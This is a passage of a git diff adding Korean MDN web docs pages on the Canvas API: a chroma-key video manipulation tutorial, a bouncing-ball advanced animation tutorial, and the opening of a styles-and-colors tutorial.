+ <li>{{domxref("OffscreenCanvas")}} {{experimental_inline}}</li>
+ <li>{{domxref("Path2D")}} {{experimental_inline}}</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>노트:</strong> <code>WebGLRenderingContext</code>에 관련된 인터페이스는 <a href="/ko/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a> 하위에 참조되어있습니다.</p>
+</div>
+
+<p>{{domxref("CanvasCaptureMediaStream")}}은 관련된 인터페이스입니다.</p>
+
+<h2 id="가이드_및_튜토리얼">가이드 및 튜토리얼</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/Canvas_API/Tutorial">Canvas 튜토리얼</a></dt>
+ <dd>Canvas API의 기본적인 사용과 고급 기능 모두를 다루는 이해하기 쉬운 튜토리얼.</dd>
+ <dt><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Canvas 깊이 살펴보기</a></dt>
+ <dd>Canvas API 및 WebGL의 실습, 자세한 소개.</dd>
+ <dt><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Canvas 핸드북</a></dt>
+ <dd>Canvas API에 대한 유용한 레퍼런스.</dd>
+ <dt><a href="/ko/docs/Web/API/Canvas_API/A_basic_ray-caster">데모: A basic ray-caster</a></dt>
+ <dd>Canvas를 사용한 ray-tracing 애니메이션 데모.</dd>
+ <dt><a href="/ko/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Canvas를 사용하여 비디오 조작</a></dt>
+ <dd>{{HTMLElement("video")}}와 {{HTMLElement("canvas")}}를 조합하여 실시간으로 비디오 데이터를 조작.</dd>
+</dl>
+
+<h2 id="라이브러리">라이브러리</h2>
+
+<p>Canvas API는 굉장히 강력하지만, 사용하는 것이 항상 간단하지 않습니다. 아래에 나열된 라이브러리들은 캔버스 기반 프로젝트를 더 빠르고 더 쉽게 생성할 수 있게 해줍니다.</p>
+
+<ul>
+ <li><a href="http://www.createjs.com/easeljs">EaselJS</a>는 게임, 생성 예술 및 기타 고도의 그래픽 경험을 쉽게 생성할 수 있게 해주는 오픈소스 캔버스 라이브러리입니다.</li>
+ <li><a href="http://fabricjs.com">Fabric.js</a>는 SVG 파싱 기능을 갖춘 오픈소스 캔버스 라이브러리입니다.</li>
+ <li><a href="https://www.patrick-wied.at/static/heatmapjs/">heatmap.js</a>는 캔버스 기반 데이터 열지도를 생성하기위한 오픈소스 라이브러리입니다.</li>
+ <li><a href="http://thejit.org/">JavaScript InfoVis Toolkit</a>은 인터렉티브한 데이터 시각화를 생성합니다.</li>
+ <li><a href="https://konvajs.github.io/">Konva.js</a>는 데스크탑 및 모바일 애플리케이션을 위한 2D 캔버스 라이브러리입니다.</li>
+ <li><a href="https://p5js.org/">p5.js</a>는 예술가, 디자이너, 교육자 및 입문자를 위한 캔버스 그리기 기능의 모든 세트를 포함하고 있습니다.</li>
+ <li><a href="http://paperjs.org/">Paper.js</a>는 HTML5 Canvas 위에서 실행되는 오픈소스 벡터 그래픽 스크립팅 프레임워크입니다.</li>
+ <li><a href="https://phaser.io/">Phaser</a>는 Canvas 및 WebGL 기반의 브라우저 게임을 위한 빠르고, 자유롭고, 재미있는 오픈소스 프레임워크입니다.</li>
+ <li><a href="http://processingjs.org">Processing.js</a>는 Processing 시각화 언어의 포트입니다.</li>
+ <li><a href="https://ptsjs.org">Pts.js</a>는 canvas 및 SVG를 사용한 창의적인 코딩 및 시각화를 위한 라이브러리입니다.</li>
+ <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a>는 Canvas를 위한 애니메이션 키 프레임 API입니다.</li>
+ <li><a href="http://scrawl.rikweb.org.uk/">Scrawl-canvas</a>는 2D 캔버스 엘리먼트를 생성하고 조작하기위한 오픈소스 JavaScript 라이브러리입니다.</li>
+ <li><a href="http://zimjs.com">ZIM</a> 프레임워크는 canvas에서의 창의적인 코딩을 위한 편의성, 컴포넌트 및 컨트롤을 제공하는 프레임워크입니다. 접근성 및 다채로운 튜토리얼을 포함합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>노트:</strong> WebGL을 사용하는 2D 및 3D를 위한 <a href="/ko/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL API</a>를 확인하세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#2dcontext', 'the 2D rendering context')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>Mozilla 애플리케이션은 Gecko 1.8(<a href="/ko/docs/Mozilla/Firefox/Releases/1.5">Firefox 1.5</a>)을 시작으로 <code>&lt;canvas&gt;</code>에 대한 지원을 받았습니다. OS X Dashboard 및 Safari를 위해 Apple이 소개한 것이 캔버스 엘리먼트의 기원입니다. Internet Explorer는 9버전부터 <code>&lt;canvas&gt;</code>를 지원하며, 이전 버전의 IE에서는 Google의 <a href="https://github.com/arv/explorercanvas">Explorer Canvas</a> 프로젝트의 스크립트를 추가하여 <code>&lt;canvas&gt;</code>에 대한 지원을 효과적으로 추가할 수 있습니다. Google Chrome 및 Opera 9 또한 <code>&lt;canvas&gt;</code>를 지원합니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/WebGL">WebGL</a></li>
+</ul>
diff --git a/files/ko/web/html/canvas/manipulating_video_using_canvas/index.html b/files/ko/web/html/canvas/manipulating_video_using_canvas/index.html
new file mode 100644
index 0000000000..7851f86154
--- /dev/null
+++ b/files/ko/web/html/canvas/manipulating_video_using_canvas/index.html
@@ -0,0 +1,164 @@
+---
+title: 캔버스(canvas)를 이용한 비디오 조작하기
+slug: Web/HTML/Canvas/Manipulating_video_using_canvas
+tags:
+  - Canvas
+  - Video
+  - 비디오
+  - 캔버스
+translation_of: Web/API/Canvas_API/Manipulating_video_using_canvas
+---
+<div>{{CanvasSidebar}}</div>
+
+<div class="summary">
+<p>비디오에서 다양한 시각적 효과를 보여주기 위해,<code> <a class="internal" href="/ko/docs/Web/HTML/Element/canvas" title="Ko/Canvas">캔버스</a></code>와 <code><a class="internal" href="/ko/docs/Web/HTML/Element/video" title="Ko/HTML/Element/Video">비디오</a></code>의 기능을 결합하여 실시간으로 비디오 데이터를 조작할 수 있습니다. 이 튜토리얼에서는 자바스크립트 코드로 어떻게 크로마 키잉(chroma-keying, 또한 "녹색 스크린 효과, green screen effect")을 구현할 수 있는지 보여줍니다. </p>
+</div>
+
+<p><a class="external" href="/samples/video/chroma-key/index.xhtml" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/video/chroma-key/index.xhtml">라이브 예제 보기</a></p>
+
+<h2 id="문서(document)_내용">문서(document) 내용</h2>
+
+<p>이 내용을 보여주기 위한 XHTML 문서는 아래와 같습니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+      body {
+        background: black;
+        color:#CCCCCC;
+      }
+      #c2 {
+        background-image: url(foo.png);
+        background-repeat: no-repeat;
+      }
+      div {
+        float: left;
+        border :1px solid #444444;
+        padding:10px;
+        margin: 10px;
+        background:#3B3B3B;
+      }
+    &lt;/style&gt;
+    &lt;script type="text/javascript" src="main.js"&gt;&lt;/script&gt;
+  &lt;/head&gt;
+
+  &lt;body onload="processor.doLoad()"&gt;
+    &lt;div&gt;
+      &lt;video id="video" src="video.ogv" controls="true"/&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;canvas id="c1" width="160" height="96"&gt;&lt;/canvas&gt;
+      &lt;canvas id="c2" width="160" height="96"&gt;&lt;/canvas&gt;
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>여기에서 중요한 요소는:</p>
+
+<ol>
+ <li>이 문서에는 ID가 c1, c2인 두 개의  <a class="internal" href="/ko/docs/Web/HTML/Element/canvas" title="Ko/Canvas"><code>캔버스</code></a>가 있습니다. 캔버스 c1은 비디오 원본의 현재 프레임을 보여주기 위해 사용되고, c2는 크로마 키잉 효과를 수행한 결과를 보여줍니다. c2에서 비디오의 녹색 배경을 대체할 정지 이미지를 미리 로드합니다.</li>
+ <li>자바스크립트 코드는 main.js에서 가져옵니다. 이 스크립트는 자바스크립트 1.8 기능을 사용했기 때문에 스크립트를 가져오는 22번째 줄에서 버전이 명시됩니다(원문: this script uses JavaScript 1.8 features, so that version is specified in line 22 when importing the script).</li>
+ <li>문서가 로드되면, processor.doLoad() 메서드가 실행됩니다.</li>
+</ol>
+
+<h2 id="자바스크립트_코드">자바스크립트 코드</h2>
+
+<p>main.js에 있는 자바스크립트 코드는 3개의 메서드로 구성됩니다.</p>
+
+<h3 id="크로마_키잉_플레이어_초기화">크로마 키잉 플레이어 초기화</h3>
+
+<p><code>doLoad()</code> 메서드는 문서가 최초에 로드될 때 호출됩니다. 이 메서드가 하는 일은 크로마 키잉 처리에서 쓰일 변수를 준비하고, 이벤트 리스너를 등록함으로써 사용자가 비디오 재생을 시작할 때 감지할 수 있도록 해줍니다. </p>
+
+<pre class="brush: js">  var processor;
+
+  processor.doLoad = function doLoad() {
+    this.video = document.getElementById('video');
+    this.c1 = document.getElementById('c1');
+    this.ctx1 = this.c1.getContext('2d');
+    this.c2 = document.getElementById('c2');
+    this.ctx2 = this.c2.getContext('2d');
+    let self = this;
+    this.video.addEventListener('play', function() {
+        self.width = self.video.videoWidth / 2;
+        self.height = self.video.videoHeight / 2;
+        self.timerCallback();
+      }, false);
+  },
+</pre>
+
+<p>이코드는 XHTML에서 중요한 요소인 비디오와 캔버스의 참조를 가져옵니다. 두 개의 캔버스에 대한 그래픽 컨텍스트의 참조도 가져옵니다. 이 참조들은 뒤에서 크로마 키잉 효과를 구현할 때 사용됩니다.</p>
+
+<p>그리고 <code>addEventListener()</code>는 비디오가 재생을 시작하기 위해 호출되기 때문에 사용자가 재생 버튼을 누를 때 알림을 받습니다. 재생이 시작되면 이 코드는 비디오의 가로, 세로를 이등분 한 값을 가져오고(크로마 키잉 효과를 수행할 때 이등분 함), <code>timerCallback()</code> 메서드를 호출하여 비디오를 보고 시각적 효과를 계산하기 시작합니다.</p>
+
+<h3 id="타이머_콜백">타이머 콜백</h3>
+
+<p>타이머 콜백은 비디오가 재생되기 시작("재생" 이벤트가 발생)할 때 호출되는데, 매 프레임마다 키잉 효과를 주기 위해 주기적으로 호출 될 수 있도록 설정해 주어야 합니다.</p>
+
+<pre class="brush: js">  processor.timerCallback = function timerCallback() {
+    if (this.video.paused || this.video.ended) {
+      return;
+    }
+    this.computeFrame();
+    let self = this;
+    setTimeout(function() {
+        self.timerCallback();
+      }, 0);
+  },
+</pre>
+
+<p>콜백에서 하는 첫 번 째 일은 비디오가 재생되고 있는지 확인하는 것인데, 만약 그렇지 않다면 콜백은 아무 일도 하지 않고 즉시 반환됩니다.</p>
+
+<p>그 후에 현재 비디오 프레임에서 크로마 키잉 효과를 주기 위한 <code>computeFrame()</code> 메서드를 호출합니다.</p>
+
+<p>콜백에서 마지막으로 하는 일은 <code>setTimeout()</code>을 호출하여 가능한 한 빨리 <code>timerCallback()</code> 메서드를 다시 호출할 수 있도록 하는 것입니다. 실제로는, 비디오 프레임 속도에 대한 기반 지식으로 호출할 수 있도록 합니다. </p>
+
+<h3 id="비디오_프레임_데이터_조작">비디오 프레임 데이터 조작</h3>
+
+<p>아래의 <code>computeFrame()</code> 메서드는 프레임 데이터를 가져와서 크로마 키잉 효과를 수행하는 역할을 합니다. </p>
+
+<pre class="brush: js">  processor.computeFrame = function computeFrame() {
+    this.ctx1.drawImage(this.video, 0, 0, this.width, this.height);
+    let frame = this.ctx1.getImageData(0, 0, this.width, this.height);
+    let l = frame.data.length / 4;
+
+    for (let i = 0; i &lt; l; i++) {
+      let r = frame.data[i * 4 + 0];
+      let g = frame.data[i * 4 + 1];
+      let b = frame.data[i * 4 + 2];
+      if (g &gt; 100 &amp;&amp; r &gt; 100 &amp;&amp; b &lt; 43)
+        frame.data[i * 4 + 3] = 0;
+    }
+    this.ctx2.putImageData(frame, 0, 0);
+    return;
+  }
+</pre>
+
+<p>위 과정이 계속 호출 되면, 아래와 같이 비디오 요소에 가장 최근 프레임의 비디오 데이터가 표출됩니다.</p>
+
+<p><img alt="video.png" class="default internal" src="/@api/deki/files/3282/=video.png" style="height: 192px; width: 320px;"></p>
+
+<p>2번째 줄에서, 첫 번째 캔버스의 그래픽 컨텍스트 ctx1에 비디오 프레임이 복사 되는데, 원본의 절반 크기로 프레임을 그리기 위해 이전에 저장한 가로, 세로 값으로 지정합니다. 컨텍스트의 <code>drawImage()</code> 메서드에 비디오 요소를 전달하기만 하면 현재 비디오 프레임을 그릴 수 있습니다. 결과는 아래와 같습니다: </p>
+
+<p><img alt="sourcectx.png" class="default internal" src="/@api/deki/files/3284/=sourcectx.png" style="height: 96px; width: 160px;"></p>
+
+<p>3번째 줄에서는 첫 번째 컨텍스트의 <code>getImageData()</code> 메서드를 호출해서 현재 비디오 프레임의 원시 그래픽 데이터 복사본을 가져옵니다. 이것은 조작할 수 있는 원시 32비트 픽셀 이미지 데이터를 제공합니다. 4번째 줄에서는 프레임의 이미지 데이터 전체 크기를 4로 나누어 이미지의 픽셀 수를 계산합니다.</p>
+
+<p>6번째 줄에서 시작하는 <code>for</code> 문은 프레임의 픽셀을 스캔하여, 빨간색, 녹색, 파란색 값을 추출하여 사전에 정의된 숫자와 비교합니다. 이 숫자는 <code>foo.png</code>에서 가져온 배경 이미지로 대체될 녹색 스크린 영역을 감지합니다.</p>
+
+<p>녹색 스크린이라고 간주된 매개변수 내의 프레임 이미지 데이터의 모든 픽셀은 투명해질 수 있도록 알파값이 0으로 대체됩니다. 결과적으로 최종 이미지는 100% 투명해진 녹색 스크린 영역을 갖게 되고, 13번째 줄에서 대상 컨텍스트에 고정된 배경 위로 올려져 그려집니다.</p>
+
+<p>결과 이미지는 아래와 같습니다:</p>
+
+<p><img alt="output.png" class="default internal" src="/@api/deki/files/3283/=output.png" style="height: 96px; width: 161px;"></p>
+
+<p>이 과정은 비디오가 재생될 때마다 반복되므로, 매 프레임마다 처리되어 크로마 키잉 효과가 나타나는 것입니다.</p>
+
+<p><a class="external" href="/samples/video/chroma-key/index.xhtml" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/video/chroma-key/index.xhtml">라이브 예제 보기</a></p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video" title="En/Using audio and video in Firefox">오디오와 비디오 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/canvas/tutorial/advanced_animations/index.html b/files/ko/web/html/canvas/tutorial/advanced_animations/index.html
new file mode 100644
index 0000000000..1779e63b2c
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/advanced_animations/index.html
@@ -0,0 +1,376 @@
+---
+title: 발전된 애니메이션
+slug: Web/HTML/Canvas/Tutorial/Advanced_animations
+translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div>
+
+<div class="summary">
+<p>마지막 챕터에서 우리는 몇가지 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">간단한 애니메이션들</a>을 만들었고 이제 이것들을 어떻게 움직이게 하는지 안다. 이 챕터에서 우리는 각각의 모션들을 자세히 살펴보고 애니메이션을 더 발전시키기 위해 몇가지 물리 동작을 추가할 것이다.</p>
+</div>
+
+<h2 id="공_그리기">공 그리기</h2>
+
+<p>우리는 애니메이션 공부를 위해 공을 사용할 것이다. 먼저 캔버스에 공을 그려보자. 다음 코드를 통해 준비해보자.</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="600" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>언제나처럼, 우리는 context를 먼저 그려야 한다. 공을 그리기 위해 우리는 캔버스에 그림을 그리기 위한 프로퍼티와 <code>draw()</code> 메소드를 가진 <code>ball</code> 오브젝트를 생성할 것이다.</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();</pre>
+
+<p>특이할 건 없다. 이공은 사실상 간단한 원이고 그리는 방법은 다음{{domxref("CanvasRenderingContext2D.arc()", "arc()")}} 메소드에서 참고할 수 있다.</p>
+
+<h2 id="속도_추가하기">속도 추가하기</h2>
+
+<p>우리한테는 이제 공이 있다. 이제 이 튜토리얼 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">마지막 챕터</a>에서 배웠던 것과 같은 기본 애니메이션을 추가할 준비가 되었다. 다시 한 번, 애니메이션 컨트롤은 {{domxref("window.requestAnimationFrame()")}}가 도와주 것이다. 공은 위치에 속도 벡터를 추가하여 움직일 수 있게 된다.  각각의 프레임에, 우리는{{domxref("CanvasRenderingContext2D.clearRect", "clear", "", 1)}}를 캔버스에 주어 오래된 원을 이전 프래임에서 지운다.</p>
+
+<pre class="brush: js; highlight:[8,9,24,25] notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+</pre>
+
+<h2 id="경계">경계</h2>
+
+<p>경게 충돌 테스트의 필요 없이 우리가 만든 공은 캔버스 밖으로 빠르게 빠져나갈 것입니다. 우리는 공의 <code>x</code> 와 <code>y</code> 위치가 캔버스 차원을 빠져나갔는지 체크해서 방향과 속도를 바꿔주어야 합니다. 그러기 위해서 우리는 <code>draw</code> 메소드에 다음 확인사항을 추가할 것입니다.:</p>
+
+<pre class="brush: js notranslate">if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+  ball.vx = -ball.vx;
+}</pre>
+
+<h3 id="First_demo">First demo</h3>
+
+<p>이제 동작을 확인해 봅시다. 시작하려먼 마우스를 캔버스 안으로 움직여 주세요.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("First_demo", "610", "310")}}</p>
+
+<h2 id="가속">가속</h2>
+
+<p>움직임을 좀 더 리얼하게 만들기 위해, 우리는 속도를 다음과 같이 줄 겁니다. 예를들어:</p>
+
+<pre class="brush: js notranslate">ball.vy *= .99;
+ball.vy += .25;</pre>
+
+<p>이것은 각 프레임의 세로 속도를 줄여주어, 공이 결국 바닥에서 튀게 만듭니다.</p>
+
+<div class="hidden">
+<h6 id="Second_demo">Second demo</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Second_demo", "610", "310")}}</p>
+
+<h2 id="후행_효과">후행 효과</h2>
+
+<p>지금까지 우리는 {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}}메소드를 사용해서 이전 프레임을 지웠다. 만약 당신이 {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}}르 사용하여 약간 투명도를 준다면, 쉽게 후행 효과(Trailing effect)를 만들 수 있을 것이다.</p>
+
+<pre class="brush: js notranslate">ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+ctx.fillRect(0, 0, canvas.width, canvas.height);</pre>
+
+<div class="hidden">
+<h6 id="Third_demo">Third demo</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0, 0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p>
+
+<h2 id="마우스_컨트롤_추가하기">마우스 컨트롤 추가하기</h2>
+
+<p>공을 컨트롤 하기 위해, 우리는 <code><a href="/en-US/docs/Web/Reference/Events/mousemove">mousemove</a></code> 이벤트를 사용하여 마우스를 따라오게 할 것이다. <code><a href="/en-US/docs/Web/Events/click">click</a></code> 이벤트를 통해 공을 놓으면 다시 공이 튀도록 할 것이다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e) {
+  if (!running) {
+    clear();
+    ball.x = e.clientX;
+    ball.y = e.clientY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener('click', function(e) {
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+</pre>
+
+<p>마우스로 공을 움직이고, 클릭을 통해 놓아보자.</p>
+
+<p>{{EmbedLiveSample("Adding_mouse_control", "610", "310")}}</p>
+
+<h2 id="Breakout">Breakout</h2>
+
+<p>이 짧은 챕터는 발전된 애니메이션을 만들기 위한 조금의 기술을 설명했다. 여기에 더 많은 것들이 있다! 노나 벽돌을 추가해서 이 튜토리얼을  <a href="http://en.wikipedia.org/wiki/Breakout_%28video_game%29">Breakout</a> 으로 발전시키는 건 어떨까?  <a href="/en-US/docs/Games">Game development</a>에서 게임에 관련된 글들을 찾아보자.</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+ <li><a href="/en-US/docs/Games/Techniques/Efficient_animation_for_web_games">Efficient animation for web games</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/applying_styles_and_colors/index.html b/files/ko/web/html/canvas/tutorial/applying_styles_and_colors/index.html
new file mode 100644
index 0000000000..df094acb71
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/applying_styles_and_colors/index.html
@@ -0,0 +1,732 @@
+---
+title: 스타일과 색 적용하기
+slug: Web/HTML/Canvas/Tutorial/Applying_styles_and_colors
+tags:
+  - HTML5
+  - 그래픽
+  - 캔버스
+translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</div>
+
+<div class="summary">
+<p><a href="/ko/docs/Web/HTML/Canvas/Tutorial/Drawing_shapes">도형 그리기</a> 장에서는 기본 선과 채우기 스타일만 사용했습니다. 여기서 우리는 그리기를 조금 더 매력적으로 만들 수있는 캔버스 옵션을 살펴볼 것입니다. 그리기에 다른 색상, 선 스타일, 그라디언트, 패턴 및 그림자를 추가하는 방법을 배우게됩니다.</p>
+</div>
+
+<h2 id="Colors" name="Colors">색상</h2>
+
+<p>지금까지는 그리기 메소드만 살펴봤습니다. 도형에 색을 적용하고자 하면, <code>fillStyle</code>과  <code>strokeStyle</code> 두 가지 중요한 속성을 사용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}</dt>
+ <dd>도형을 채우는 색을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}</dt>
+ <dd>도형의 윤곽선 색을 설정합니다.</dd>
+</dl>
+
